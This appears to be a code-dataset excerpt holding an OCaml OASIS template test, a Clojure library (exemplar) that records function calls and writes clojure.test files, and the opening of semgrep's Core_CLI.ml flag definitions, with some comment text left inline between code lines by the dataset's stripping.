FileUtil.cp [real_fn] tmpdir;
Filename.concat tmpdir (Filename.basename real_fn)
in
let chng: file_generate_change =
file_generate
~ctxt:(oasis_ctxt test_ctxt)
~backup:true
(template_of_string_list
~ctxt:(oasis_ctxt test_ctxt)
~template:true
tmp_fn
comment_fmt
content_lst)
in
assert_equal
~msg:"File content"
~printer:(Printf.sprintf "%S")
(file_content expected_fn)
(file_content tmp_fn);
file_rollback ~ctxt:(oasis_ctxt test_ctxt) chng;
if Sys.file_exists real_fn then begin
assert_equal
~msg:"File content back to pristine."
(file_content real_fn)
(file_content tmp_fn);
FileUtil.rm [tmp_fn];
end;
assert_equal
~msg:"Temporary directory empty."
0
(List.length (FileUtil.ls tmpdir)))
in
"FileTemplate" >:::
(
List.map test_of_vector
[
"filetemplate1.txt",
[
"toto";
"# OASIS_START ";
"# OASIS_STOP ";
],
comment_sh;
"filetemplate2.txt",
[
"toto";
"# OASIS_START ";
"# OASIS_STOP ";
],
comment_sh;
"filetemplate3.txt",
[
"toto";
"# OASIS_START ";
"# OASIS_STOP ";
],
comment_sh;
"filetemplate4.txt",
[
"toto";
"# OASIS_START ";
"# OASIS_STOP ";
],
comment_sh;
"filetemplate5.txt",
[
"toto";
"# OASIS_START ";
"tata";
"# OASIS_STOP ";
],
comment_sh;
]
)
@
[
"Keep file rights" >::
(fun test_ctxt ->
let () =
skip_if (Sys.os_type = "Win32") "UNIX only test"
in
let dn = bracket_tmpdir test_ctxt in
let fn = Filename.concat dn "foo.sh" in
let chn = open_out fn in
let () =
output_string
chn
"# OASIS_START\n\
# OASIS_STOP\n";
close_out chn
in
let own, grp_org =
let st = Unix.stat fn in
st.Unix.st_uid, st.Unix.st_gid
in
let grp =
let lst =
Array.to_list (Unix.getgroups ())
in
try
List.find (fun gid' -> grp_org <> gid') lst
with Not_found ->
skip_if true "No available group to change group of the file";
grp_org
in
let () =
Unix.chown fn own grp
in
let chng =
file_generate
~ctxt:(oasis_ctxt test_ctxt)
~backup:true
(template_make
fn
comment_sh
[]
["echo Hello"]
[])
in
file_rollback ~ctxt:(oasis_ctxt test_ctxt) chng;
assert_equal
~msg:"File chgrp"
~printer:string_of_int
grp
((Unix.stat fn).Unix.st_gid));
"bug1382-keep all eol" >::
(fun test_ctxt ->
let dn = bracket_tmpdir test_ctxt in
let fn = Filename.concat dn "foo.txt" in
let ghost_meta_template =
template_make fn comment_meta [] ["nothing"; ""; "bar"] []
in
assert_equal
~printer:printer_change
(Create fn)
(file_generate ~ctxt:(oasis_ctxt test_ctxt) ~backup:false ghost_meta_template);
assert_equal
~printer:printer_change
NoChange
(file_generate ~ctxt:(oasis_ctxt test_ctxt) ~backup:false ghost_meta_template);
());
]
|
e33a32ab9b8d4336f744ae8a6c07a2bbeeb66576f0784ebbfc06e622872d3d2e | CoNarrative/exemplar | core.clj | (ns exemplar.core
(:require [exemplar.util :as util]
[local-file]
[clojure.pprint]
[clojure.edn :as edn]
[clojure.repl :as repl]))
(def state (atom {:path nil
:debug? false
:entries {}}))
(defn ns->abs-path [ns]
(-> (the-ns ns)
(local-file/namespace-to-source)
(local-file/find-resource)
(.getPath)))
(defn register-path
"Register the file to which data will be persisted"
[path]
(swap! exemplar.core/state assoc :path path))
(defrecord UnreadableTag [tag value])
(defn string-reader [x]
(edn/read-string {:default ->UnreadableTag}
x))
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
Contributed by
(def ^:dynamic *original-dispatch* nil)
(defmulti my-dispatch class)
(defmethod my-dispatch clojure.lang.IDeref
[obj]
(print obj))
(defmethod my-dispatch :default
[obj]
(*original-dispatch* obj))
(defn my-pprint [x]
(binding [*original-dispatch* clojure.pprint/*print-pprint-dispatch*
clojure.pprint/*print-pprint-dispatch* my-dispatch]
^^ turn the binding into a macro , see the source for clojure.pprint/with-pprint-dispatch or similar
(clojure.pprint/pprint x)))
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
(defn pretty-demunge
[fn-object]
(let [dem-fn (repl/demunge (str fn-object))
pretty (second (re-find #"(.*?\/.*?)[\-\-|@].*" dem-fn))]
(if pretty pretty dem-fn)))
(defn defunc [xs]
(mapv (fn [x]
(if (fn? x)
(symbol (pretty-demunge (str x)))
x))
xs))
(defn write-out
"Writes to persist path, merging into the existing persisted data"
[path m]
(let [in (slurp path)
m (into {}
(for [[k v] m]
[k (update v :in defunc)]))
persisted (string-reader (if (= in "") "{}" in))]
(spit path (with-out-str (my-pprint (merge persisted m))))))
(defn rec
"Recur target for get-source"
[lines line-number form-str]
(try
(read-string (str form-str (nth lines line-number)))
(catch Exception e
(try
(rec lines (inc line-number) (str form-str (nth lines line-number)))
(catch IndexOutOfBoundsException e2
"<unknown>")))))
(defmacro get-source
"Gets the source code for a function"
[ns name]
(let [met (meta (ns-resolve ns name))
abs-path (ns->abs-path ns)
line (:line met)]
(with-open [rdr (clojure.java.io/reader abs-path)]
(let [lines (line-seq rdr)]
`'~(rec lines (dec line) "")))))
(defmacro save
"Persists a function call"
[sexpr]
(let [met `(meta (var ~(first sexpr)))
fn-ns `(ns-name (:ns ~met))
fn-name `(:name ~met)
realized-ns (eval fn-ns)
realized-name (eval fn-name)
key `(clojure.string/join "/" [~fn-ns ~fn-name])
args (vec (rest sexpr))
source (or (try (eval `(get-source ~realized-ns ~realized-name)) (catch Exception ex))
(repl/source-fn (first sexpr)))
entry `{~key (merge {:in ~args
:out ~sexpr
:source (str '~source)
:ns ~fn-ns
:name ~fn-name}
(select-keys ~met [:arglists :file :line :column :doc]))}]
`(write-out (:path (deref exemplar.core/state)) ~entry)))
(defn save*
"Same as `save` but used internally in different compilation layer"
[ns name args ^String source out]
(let [key (clojure.string/join "/" [ns name])
entry {key {:in (vec args) :out out :source source :ns ns :name name}}]
(write-out (:path @exemplar.core/state) entry)))
(defmacro run
"Calls the provided function with the persisted input"
[sym]
(let [met `(meta (var ~sym))
key `(clojure.string/join "/" [(ns-name (:ns ~met)) (:name ~met)])
examples '(exemplar.core/string-reader (slurp (:path @exemplar.core/state)))
data `(get ~examples ~key)
ex `(apply ~sym (:in ~data))]
ex))
(defmacro show
"Returns the persisted data for a function"
[sym]
(let [met `(meta (var ~sym))
key `(clojure.string/join "/" [(ns-name (:ns ~met)) (:name ~met)])
examples '(exemplar.core/string-reader (slurp (:path @exemplar.core/state)))
data `(get ~examples ~key)]
`(merge {:name ~key} ~data)))
(defn write-mem
[entry]
(let [key (ffirst entry)
value (second (first entry))]
(swap! exemplar.core/state assoc-in [:entries key] value)))
(defn save-mem [ns name var-val]
(let [key (clojure.string/join "/" [ns name])
entry {key {:ns ns :name name :var-val var-val}}]
(write-mem entry)))
(defmacro stop-recording
"Stops persisting data for a function. Accepts a symbol."
[sym]
`(let [cur-var# (var ~sym)
met# (meta cur-var#)
ns# (ns-name (:ns met#))
name# (:name met#)
key# (clojure.string/join "/" [ns# name#])
old-var-val# (get-in @exemplar.core/state [:entries key# :var-val])]
(do
(alter-meta! cur-var# dissoc :exemplar/recording?)
(alter-var-root cur-var# (fn [~'f] old-var-val#)))))
(defn stop-recording*
"Stops persisting data for a function. Accepts a var."
[avar]
(let [met (meta avar)
ns (ns-name (:ns met))
name (:name met)
key (clojure.string/join "/" [ns name])
old-var-val (get-in @exemplar.core/state [:entries key :var-val])]
(do
(alter-meta! avar dissoc :exemplar/recording?)
(alter-var-root avar (fn [f] old-var-val)))))
(defmacro record-once
"Persists first input and output of the provided function while allowing it to work normally.
Restores the initial var's value on the second call to the fn"
[sym]
`(alter-var-root (var ~sym)
(fn [~'f]
(let [the-var# (var ~sym)
var-val# @the-var#
met# (meta the-var#)
ns# (ns-name (:ns met#))
name# (:name met#)]
(save-mem ns# name# var-val#))
(fn [& ~'args]
(let [met# (meta (var ~sym))
ns# (ns-name (:ns met#))
name# (:name met#)]
(cond
unset - set recording to true , persist data , write var to mem , rt out
(= nil (:exemplar/recording? met#))
(let [out# (apply ~'f ~'args)]
(do
(alter-meta! (var ~sym) assoc :exemplar/recording? true)
(save* ns# name# ~'args (str (eval `(get-source ~ns# ~name#))) out#)
out#))
;; set true - unset recording and return orig var
(= true (:exemplar/recording? met#))
(apply (stop-recording ~sym) ~'args)))))))
(defn record-once*
"Persists first input and output of the provided function while allowing it to work normally.
Restores the initial var's value on the second call to the fn"
[avar]
(alter-var-root avar
(fn [f]
(let [the-var avar
var-val @the-var
met (meta the-var)
ns (ns-name (:ns met))
name (:name met)]
(save-mem ns name var-val))
(fn [& args]
(let [met (meta avar)
ns (ns-name (:ns met))
name (:name met)]
(cond
unset - set recording to true , persist data , write var to mem , rt out
(= nil (:exemplar/recording? met))
(let [out (apply f args)]
(do
(alter-meta! avar assoc :exemplar/recording? true)
(save* ns name args (str (eval `(get-source ~ns ~name))) out)
out))
;; set true - unset recording and return orig var
(= true (:exemplar/recording? met))
(apply (stop-recording* avar) args)))))))
(defmacro record
"Repeatedly persists input and output of the provided function while allowing it to work normally.
Restores the initial var's value on explicit call to stop-recording"
[sym]
`(alter-var-root (var ~sym)
(fn [~'f]
(let [the-var# (var ~sym)
var-val# @the-var#
met# (meta the-var#)
ns# (ns-name (:ns met#))
name# (:name met#)]
(save-mem ns# name# var-val#))
(fn [& ~'args]
(let [met# (meta (var ~sym))
ns# (ns-name (:ns met#))
name# (:name met#)]
(when (nil? (:exemplar/recording? met#))
(alter-meta! (var ~sym) assoc :exemplar/recording? true))
(let [out# (apply ~'f ~'args)]
(do
TODO . Only need to get the source once . Could store in meta .
(save* ns# name# ~'args (str (eval `(get-source ~ns# ~name#))) out#)
out#)))))))
(defn record*
"Repeatedly persists input and output of the provided function while allowing it to work normally.
Restores the initial var's value on explicit call to stop-recording"
[avar]
(alter-var-root avar
(fn [f]
(let [var-val @avar
met (meta avar)
ns (ns-name (:ns met))
name (:name met)]
(save-mem ns name var-val))
(fn [& args]
(let [met (meta avar)
ns (ns-name (:ns met))
name (:name met)]
(when (nil? (:exemplar/recording? met))
(alter-meta! avar assoc :exemplar/recording? true))
(let [out (apply f args)]
(do
TODO . Only need to get the source once . Could store in meta .
(save* ns name args (str (eval `(get-source ~ns ~name))) out)
out)))))))
(defn disambiguate-ns-decl
([sym]
(try
(eval `(if (fn? ~sym) {:symbol '~sym :fn? true} {:symbol '~sym :def? true}))
(catch Exception e
(if (clojure.string/includes? (.getMessage e) "Can't take value of a macro")
{:symbol sym :macro? true}
(do (println "Unhandled exception" e)
nil)))))
([sym avar]
(try
(eval `(if (fn? ~sym)
{:symbol '~sym :var '~avar :fn? true}
{:symbol '~sym :var '~avar :def? true}))
(catch Exception e
(if (clojure.string/includes? (.getMessage e) "Can't take value of a macro")
{:symbol sym :macro? true}
(do (println "Unhandled exception" e)
nil))))))
(defmacro get-decl-types [ns-sym]
(let [x (the-ns ns-sym)
namespace-name (.getName x)
interns (ns-interns x)
m (reduce (fn [acc [sym var]]
(let [fqsym (symbol (clojure.string/join "/" [namespace-name sym]))]
(conj acc [fqsym var])))
[]
interns)]
`(->> '~m
(mapv ~'(fn [[k v]] (exemplar.core/disambiguate-ns-decl k v))))))
(defmacro record-namespace-once [sym]
(let [types-of-decls `(exemplar.core/get-decl-types ~sym)]
`(->> ~types-of-decls
(filter :fn?)
(map :var)
(run! exemplar.core/record-once*))))
(defmacro record-namespace [sym]
(let [types-of-decls `(exemplar.core/get-decl-types ~sym)]
`(->> ~types-of-decls
(filter :fn?)
(map :var)
(run! exemplar.core/record*))))
(defmacro stop-recording-namespace [sym]
(let [types-of-decls `(exemplar.core/get-decl-types ~sym)]
`(->> ~types-of-decls
(filter :fn?)
(map :var)
(run! exemplar.core/stop-recording*))))
(defn delete-all [path]
(spit path "{}"))
(defn make-basic-test
"Returns string for clojure.test of a function called with an input and
expected output"
[name f in out]
(str "(deftest " name "\n"
" (is (= (apply " f " " in ")\n"
" " out ")))\n\n"))
(defmacro write-test
"Writes a test for a function to a file.
If a generated test for the function already exists, updates the existing test
with the current recorded values for the function's input and output.
- `sym` - symbol of a recorded function
- `test-file` - path to .clj file generated by exemplar.core/init-test-ns"
[sym ^String test-file]
(let [recorded `(exemplar.core/show ~sym)
fqsym `(str (:ns ~recorded) "/" (:name ~recorded))
test-name `(clojure.string/replace
(str (:ns ~recorded) "-" (:name ~recorded) "-test")
"." "-")
out `(if (list? (:out ~recorded))
(str "'" (:out ~recorded))
(:out ~recorded))]
`(do (util/apply-to-form-at-line ~test-file 1
#(util/ensure-require % (:ns ~recorded)))
(util/apply-to-forms-in-file ~test-file
" Delete " if a test by same name
#(if (= (str (second %))
(str ~test-name))
nil
%))
(spit ~test-file
(make-basic-test ~test-name ~fqsym (:in ~recorded) ~out)
:append true))))
(defmacro init-test-ns
"Creates a test file with the provided arguments. Exits if file already exists
at specified location.
First argument is quoted symbol for which the test namespace will be named.
- `test-root` - path to root test folder (e.g. \"test\", \"test/clj\")
- `package-names` - package names under test root folder (e.g. [\"exemplar\"],
[\"exemplar\", \"routes\"]
Example:
`(init-test-ns 'my-generated-tests \"test/clj\", [\"exemplar\", \"routes\"])`
Writes to \"test/clj/exemplar/routes/my_generated_tests.clj\" with:
(ns exemplar.routes.my-generated-tests ...)
"
[[quot ns-sym] ^String test-root ^clojure.lang.PersistentVector package-names]
(let [path (str
need to know if test , test / clj , etc .
test-root
;; ensure a slash here
(if (= (last test-root) "/") "" "/")
;; join package names with slash
(clojure.string/join "/"
(mapv #(clojure.string/replace % "-" "_")
package-names)) "/"
;; replace - with _ for filename to write
(clojure.string/replace (str ns-sym) "-" "_") ".clj")
fqsym (symbol (str (clojure.string/join "." package-names) "." ns-sym))]
(if (.exists (clojure.java.io/as-file path))
(str "File " path " already exists. Won't overwrite.")
`(spit ~path
~(with-out-str
(print
`(~'ns ~fqsym
(:require [clojure.test :refer ~'[deftest is testing]]))
\newline\newline\newline))))))
(defn my-func [xs] (filter #{(first xs)} xs))
(comment
(register-path "test.edn")
(exemplar.core/delete-all "test.edn")
(exemplar.core/save (my-func [1 2 3]))
(exemplar.core/show my-func)
(write-test my-func "test/exemplar/my_generated_test_file.clj")
(exemplar.core/delete-all "test.edn")
(defn ns->abs-path [ns]
(let [_ (println "ns" (the-ns ns))
namespace-to-source (-> (the-ns ns) (local-file/namespace-to-source))
_ (println "ns to source" namespace-to-source)
resource (local-file/find-resource namespace-to-source)
_ (println "resource" resource)
path (.getPath resource)
_ (println "path!" path)]
(-> (the-ns ns)
(local-file/namespace-to-source)
(local-file/find-resource)
(.getPath)))))
| null | https://raw.githubusercontent.com/CoNarrative/exemplar/a9e76cdcdedfb441621f2b7c4f8b126f6ec0977a/src/exemplar/core.clj | clojure |
set true - unset recording and return orig var
set true - unset recording and return orig var
ensure a slash here
join package names with slash
replace - with _ for filename to write | (ns exemplar.core
(:require [exemplar.util :as util]
[local-file]
[clojure.pprint]
[clojure.edn :as edn]
[clojure.repl :as repl]))
(def state (atom {:path nil
:debug? false
:entries {}}))
(defn ns->abs-path [ns]
(-> (the-ns ns)
(local-file/namespace-to-source)
(local-file/find-resource)
(.getPath)))
(defn register-path
"Register the file to which data will be persisted"
[path]
(swap! exemplar.core/state assoc :path path))
(defrecord UnreadableTag [tag value])
(defn string-reader [x]
(edn/read-string {:default ->UnreadableTag}
x))
Contributed by
(def ^:dynamic *original-dispatch* nil)
(defmulti my-dispatch class)
(defmethod my-dispatch clojure.lang.IDeref
[obj]
(print obj))
(defmethod my-dispatch :default
[obj]
(*original-dispatch* obj))
(defn my-pprint [x]
(binding [*original-dispatch* clojure.pprint/*print-pprint-dispatch*
clojure.pprint/*print-pprint-dispatch* my-dispatch]
^^ turn the binding into a macro , see the source for clojure.pprint/with-pprint-dispatch or similar
(clojure.pprint/pprint x)))
(defn pretty-demunge
[fn-object]
(let [dem-fn (repl/demunge (str fn-object))
pretty (second (re-find #"(.*?\/.*?)[\-\-|@].*" dem-fn))]
(if pretty pretty dem-fn)))
(defn defunc [xs]
(mapv (fn [x]
(if (fn? x)
(symbol (pretty-demunge (str x)))
x))
xs))
(defn write-out
"Writes to persist path, merging into the existing persisted data"
[path m]
(let [in (slurp path)
m (into {}
(for [[k v] m]
[k (update v :in defunc)]))
persisted (string-reader (if (= in "") "{}" in))]
(spit path (with-out-str (my-pprint (merge persisted m))))))
(defn rec
"Recur target for get-source"
[lines line-number form-str]
(try
(read-string (str form-str (nth lines line-number)))
(catch Exception e
(try
(rec lines (inc line-number) (str form-str (nth lines line-number)))
(catch IndexOutOfBoundsException e2
"<unknown>")))))
(defmacro get-source
"Gets the source code for a function"
[ns name]
(let [met (meta (ns-resolve ns name))
abs-path (ns->abs-path ns)
line (:line met)]
(with-open [rdr (clojure.java.io/reader abs-path)]
(let [lines (line-seq rdr)]
`'~(rec lines (dec line) "")))))
(defmacro save
"Persists a function call"
[sexpr]
(let [met `(meta (var ~(first sexpr)))
fn-ns `(ns-name (:ns ~met))
fn-name `(:name ~met)
realized-ns (eval fn-ns)
realized-name (eval fn-name)
key `(clojure.string/join "/" [~fn-ns ~fn-name])
args (vec (rest sexpr))
source (or (try (eval `(get-source ~realized-ns ~realized-name)) (catch Exception ex))
(repl/source-fn (first sexpr)))
entry `{~key (merge {:in ~args
:out ~sexpr
:source (str '~source)
:ns ~fn-ns
:name ~fn-name}
(select-keys ~met [:arglists :file :line :column :doc]))}]
`(write-out (:path (deref exemplar.core/state)) ~entry)))
(defn save*
"Same as `save` but used internally in different compilation layer"
[ns name args ^String source out]
(let [key (clojure.string/join "/" [ns name])
entry {key {:in (vec args) :out out :source source :ns ns :name name}}]
(write-out (:path @exemplar.core/state) entry)))
(defmacro run
"Calls the provided function with the persisted input"
[sym]
(let [met `(meta (var ~sym))
key `(clojure.string/join "/" [(ns-name (:ns ~met)) (:name ~met)])
examples '(exemplar.core/string-reader (slurp (:path @exemplar.core/state)))
data `(get ~examples ~key)
ex `(apply ~sym (:in ~data))]
ex))
(defmacro show
"Returns the persisted data for a function"
[sym]
(let [met `(meta (var ~sym))
key `(clojure.string/join "/" [(ns-name (:ns ~met)) (:name ~met)])
examples '(exemplar.core/string-reader (slurp (:path @exemplar.core/state)))
data `(get ~examples ~key)]
`(merge {:name ~key} ~data)))
(defn write-mem
[entry]
(let [key (ffirst entry)
value (second (first entry))]
(swap! exemplar.core/state assoc-in [:entries key] value)))
(defn save-mem [ns name var-val]
(let [key (clojure.string/join "/" [ns name])
entry {key {:ns ns :name name :var-val var-val}}]
(write-mem entry)))
(defmacro stop-recording
"Stops persisting data for a function. Accepts a symbol."
[sym]
`(let [cur-var# (var ~sym)
met# (meta cur-var#)
ns# (ns-name (:ns met#))
name# (:name met#)
key# (clojure.string/join "/" [ns# name#])
old-var-val# (get-in @exemplar.core/state [:entries key# :var-val])]
(do
(alter-meta! cur-var# dissoc :exemplar/recording?)
(alter-var-root cur-var# (fn [~'f] old-var-val#)))))
(defn stop-recording*
"Stops persisting data for a function. Accepts a var."
[avar]
(let [met (meta avar)
ns (ns-name (:ns met))
name (:name met)
key (clojure.string/join "/" [ns name])
old-var-val (get-in @exemplar.core/state [:entries key :var-val])]
(do
(alter-meta! avar dissoc :exemplar/recording?)
(alter-var-root avar (fn [f] old-var-val)))))
(defmacro record-once
"Persists first input and output of the provided function while allowing it to work normally.
Restores the initial var's value on the second call to the fn"
[sym]
`(alter-var-root (var ~sym)
(fn [~'f]
(let [the-var# (var ~sym)
var-val# @the-var#
met# (meta the-var#)
ns# (ns-name (:ns met#))
name# (:name met#)]
(save-mem ns# name# var-val#))
(fn [& ~'args]
(let [met# (meta (var ~sym))
ns# (ns-name (:ns met#))
name# (:name met#)]
(cond
unset - set recording to true , persist data , write var to mem , rt out
(= nil (:exemplar/recording? met#))
(let [out# (apply ~'f ~'args)]
(do
(alter-meta! (var ~sym) assoc :exemplar/recording? true)
(save* ns# name# ~'args (str (eval `(get-source ~ns# ~name#))) out#)
out#))
(= true (:exemplar/recording? met#))
(apply (stop-recording ~sym) ~'args)))))))
(defn record-once*
"Persists first input and output of the provided function while allowing it to work normally.
Restores the initial var's value on the second call to the fn"
[avar]
(alter-var-root avar
(fn [f]
(let [the-var avar
var-val @the-var
met (meta the-var)
ns (ns-name (:ns met))
name (:name met)]
(save-mem ns name var-val))
(fn [& args]
(let [met (meta avar)
ns (ns-name (:ns met))
name (:name met)]
(cond
unset - set recording to true , persist data , write var to mem , rt out
(= nil (:exemplar/recording? met))
(let [out (apply f args)]
(do
(alter-meta! avar assoc :exemplar/recording? true)
(save* ns name args (str (eval `(get-source ~ns ~name))) out)
out))
(= true (:exemplar/recording? met))
(apply (stop-recording* avar) args)))))))
(defmacro record
"Repeatedly persists input and output of the provided function while allowing it to work normally.
Restores the initial var's value on explicit call to stop-recording"
[sym]
`(alter-var-root (var ~sym)
(fn [~'f]
(let [the-var# (var ~sym)
var-val# @the-var#
met# (meta the-var#)
ns# (ns-name (:ns met#))
name# (:name met#)]
(save-mem ns# name# var-val#))
(fn [& ~'args]
(let [met# (meta (var ~sym))
ns# (ns-name (:ns met#))
name# (:name met#)]
(when (nil? (:exemplar/recording? met#))
(alter-meta! (var ~sym) assoc :exemplar/recording? true))
(let [out# (apply ~'f ~'args)]
(do
TODO . Only need to get the source once . Could store in meta .
(save* ns# name# ~'args (str (eval `(get-source ~ns# ~name#))) out#)
out#)))))))
(defn record*
"Repeatedly persists input and output of the provided function while allowing it to work normally.
Restores the initial var's value on explicit call to stop-recording"
[avar]
(alter-var-root avar
(fn [f]
(let [var-val @avar
met (meta avar)
ns (ns-name (:ns met))
name (:name met)]
(save-mem ns name var-val))
(fn [& args]
(let [met (meta avar)
ns (ns-name (:ns met))
name (:name met)]
(when (nil? (:exemplar/recording? met))
(alter-meta! avar assoc :exemplar/recording? true))
(let [out (apply f args)]
(do
TODO . Only need to get the source once . Could store in meta .
(save* ns name args (str (eval `(get-source ~ns ~name))) out)
out)))))))
(defn disambiguate-ns-decl
([sym]
(try
(eval `(if (fn? ~sym) {:symbol '~sym :fn? true} {:symbol '~sym :def? true}))
(catch Exception e
(if (clojure.string/includes? (.getMessage e) "Can't take value of a macro")
{:symbol sym :macro? true}
(do (println "Unhandled exception" e)
nil)))))
([sym avar]
(try
(eval `(if (fn? ~sym)
{:symbol '~sym :var '~avar :fn? true}
{:symbol '~sym :var '~avar :def? true}))
(catch Exception e
(if (clojure.string/includes? (.getMessage e) "Can't take value of a macro")
{:symbol sym :macro? true}
(do (println "Unhandled exception" e)
nil))))))
(defmacro get-decl-types [ns-sym]
(let [x (the-ns ns-sym)
namespace-name (.getName x)
interns (ns-interns x)
m (reduce (fn [acc [sym var]]
(let [fqsym (symbol (clojure.string/join "/" [namespace-name sym]))]
(conj acc [fqsym var])))
[]
interns)]
`(->> '~m
(mapv ~'(fn [[k v]] (exemplar.core/disambiguate-ns-decl k v))))))
(defmacro record-namespace-once [sym]
(let [types-of-decls `(exemplar.core/get-decl-types ~sym)]
`(->> ~types-of-decls
(filter :fn?)
(map :var)
(run! exemplar.core/record-once*))))
(defmacro record-namespace [sym]
(let [types-of-decls `(exemplar.core/get-decl-types ~sym)]
`(->> ~types-of-decls
(filter :fn?)
(map :var)
(run! exemplar.core/record*))))
(defmacro stop-recording-namespace [sym]
(let [types-of-decls `(exemplar.core/get-decl-types ~sym)]
`(->> ~types-of-decls
(filter :fn?)
(map :var)
(run! exemplar.core/stop-recording*))))
(defn delete-all [path]
(spit path "{}"))
(defn make-basic-test
"Returns string for clojure.test of a function called with an input and
expected output"
[name f in out]
(str "(deftest " name "\n"
" (is (= (apply " f " " in ")\n"
" " out ")))\n\n"))
(defmacro write-test
"Writes a test for a function to a file.
If a generated test for the function already exists, updates the existing test
with the current recorded values for the function's input and output.
- `sym` - symbol of a recorded function
- `test-file` - path to .clj file generated by exemplar.core/init-test-ns"
[sym ^String test-file]
(let [recorded `(exemplar.core/show ~sym)
fqsym `(str (:ns ~recorded) "/" (:name ~recorded))
test-name `(clojure.string/replace
(str (:ns ~recorded) "-" (:name ~recorded) "-test")
"." "-")
out `(if (list? (:out ~recorded))
(str "'" (:out ~recorded))
(:out ~recorded))]
`(do (util/apply-to-form-at-line ~test-file 1
#(util/ensure-require % (:ns ~recorded)))
(util/apply-to-forms-in-file ~test-file
" Delete " if a test by same name
#(if (= (str (second %))
(str ~test-name))
nil
%))
(spit ~test-file
(make-basic-test ~test-name ~fqsym (:in ~recorded) ~out)
:append true))))
(defmacro init-test-ns
"Creates a test file with the provided arguments. Exits if file already exists
at specified location.
First argument is quoted symbol for which the test namespace will be named.
- `test-root` - path to root test folder (e.g. \"test\", \"test/clj\")
- `package-names` - package names under test root folder (e.g. [\"exemplar\"],
[\"exemplar\", \"routes\"]
Example:
`(init-test-ns 'my-generated-tests \"test/clj\", [\"exemplar\", \"routes\"])`
Writes to \"test/clj/exemplar/routes/my_generated_tests.clj\" with:
(ns exemplar.routes.my-generated-tests ...)
"
[[quot ns-sym] ^String test-root ^clojure.lang.PersistentVector package-names]
(let [path (str
need to know if test , test / clj , etc .
test-root
(if (= (last test-root) "/") "" "/")
(clojure.string/join "/"
(mapv #(clojure.string/replace % "-" "_")
package-names)) "/"
(clojure.string/replace (str ns-sym) "-" "_") ".clj")
fqsym (symbol (str (clojure.string/join "." package-names) "." ns-sym))]
(if (.exists (clojure.java.io/as-file path))
(str "File " path " already exists. Won't overwrite.")
`(spit ~path
~(with-out-str
(print
`(~'ns ~fqsym
(:require [clojure.test :refer ~'[deftest is testing]]))
\newline\newline\newline))))))
(defn my-func [xs] (filter #{(first xs)} xs))
(comment
(register-path "test.edn")
(exemplar.core/delete-all "test.edn")
(exemplar.core/save (my-func [1 2 3]))
(exemplar.core/show my-func)
(write-test my-func "test/exemplar/my_generated_test_file.clj")
(exemplar.core/delete-all "test.edn")
(defn ns->abs-path [ns]
(let [_ (println "ns" (the-ns ns))
namespace-to-source (-> (the-ns ns) (local-file/namespace-to-source))
_ (println "ns to source" namespace-to-source)
resource (local-file/find-resource namespace-to-source)
_ (println "resource" resource)
path (.getPath resource)
_ (println "path!" path)]
(-> (the-ns ns)
(local-file/namespace-to-source)
(local-file/find-resource)
(.getPath)))))
|
e065f6333afe6d8f0efd074ba889b44dd903a474791b490c0a98abf2ef1a563f | returntocorp/semgrep | Core_CLI.ml | (*
* The author disclaims copyright to this source code. In place of
* a legal notice, here is a blessing:
*
* May you do good and not evil.
* May you find forgiveness for yourself and forgive others.
* May you share freely, never taking more than you give.
*)
open Common
open Runner_config
module Flag = Flag_semgrep
module E = Semgrep_error_code
module J = JSON
let logger = Logging.get_logger [ __MODULE__ ]
(*****************************************************************************)
(* Prelude *)
(*****************************************************************************)
(* This module contains the main command line parsing logic.
*
* It is packaged as a library so it can be used both for the stand-alone
* semgrep-core binary as well as the semgrep_bridge.so shared library.
* The code here used to be in Main.ml.
*)
(*****************************************************************************)
(* Flags *)
(*****************************************************************************)
(* ------------------------------------------------------------------------- *)
(* debugging/profiling/logging flags *)
(* ------------------------------------------------------------------------- *)
(* You can set those environment variables to enable debugging/profiling
* instead of using -debug or -profile. This is useful when you don't call
* directly semgrep-core but instead use the semgrep Python wrapper.
*)
let env_debug = "SEMGREP_CORE_DEBUG"
let env_profile = "SEMGREP_CORE_PROFILE"
let env_extra = "SEMGREP_CORE_EXTRA"
let log_config_file = ref Runner_config.default.log_config_file
let log_to_file = ref None
see also verbose/ ... flags in Flag_semgrep.ml
(* to test things *)
let test = ref Runner_config.default.test
let debug = ref Runner_config.default.debug
(* related:
* - Flag_semgrep.debug_matching
* - Flag_semgrep.fail_fast
* - Trace_matching.on
*)
(* try to continue processing files, even if one has a parse error with -e/f *)
let error_recovery = ref Runner_config.default.error_recovery
let profile = ref Runner_config.default.profile
(* report matching times per file *)
let report_time = ref Runner_config.default.report_time
(* used for -json -profile *)
let profile_start = ref Runner_config.default.profile_start
(* step-by-step matching debugger *)
let matching_explanations = ref Runner_config.default.matching_explanations
(* ------------------------------------------------------------------------- *)
(* main flags *)
(* ------------------------------------------------------------------------- *)
(* -e *)
let pattern_string = ref ""
(* -f *)
let pattern_file = ref ""
(* -rules *)
let rule_source = ref None
let equivalences_file = ref ""
(* TODO: infer from basename argv(0) ? *)
let lang = ref None
let output_format = ref Runner_config.default.output_format
let match_format = ref Runner_config.default.match_format
let mvars = ref ([] : Metavariable.mvar list)
let lsp = ref Runner_config.default.lsp
(* ------------------------------------------------------------------------- *)
(* limits *)
(* ------------------------------------------------------------------------- *)
timeout in seconds ; 0 or less means no timeout
let timeout = ref Runner_config.default.timeout
let timeout_threshold = ref Runner_config.default.timeout_threshold
in MiB
(* arbitrary limit *)
let max_match_per_file = ref Runner_config.default.max_match_per_file
(* -j *)
let ncores = ref Runner_config.default.ncores
(* ------------------------------------------------------------------------- *)
(* optional optimizations *)
(* ------------------------------------------------------------------------- *)
see
let use_parsing_cache = ref Runner_config.default.parsing_cache_dir
(* similar to filter_irrelevant_patterns, but use the whole rule to extract
* the regexp *)
let filter_irrelevant_rules = ref Runner_config.default.filter_irrelevant_rules
(* ------------------------------------------------------------------------- *)
(* flags used by the semgrep-python wrapper *)
(* ------------------------------------------------------------------------- *)
(* take the list of files in a file (given by semgrep-python) *)
let target_source = ref None
(* ------------------------------------------------------------------------- *)
(* pad's action flag *)
(* ------------------------------------------------------------------------- *)
(* action mode *)
let action = ref ""
(*****************************************************************************)
(* Helpers *)
(*****************************************************************************)
let version = spf "semgrep-core version: %s" Version.version
Note that set_gc ( ) may not interact well with Memory_limit and its use of
* Gc.alarm . Indeed , the Gc.alarm triggers only at major cycle
* and the tuning below raise significantly the major cycle trigger .
* This is why we call set_gc ( ) only when max_memory_mb is unset .
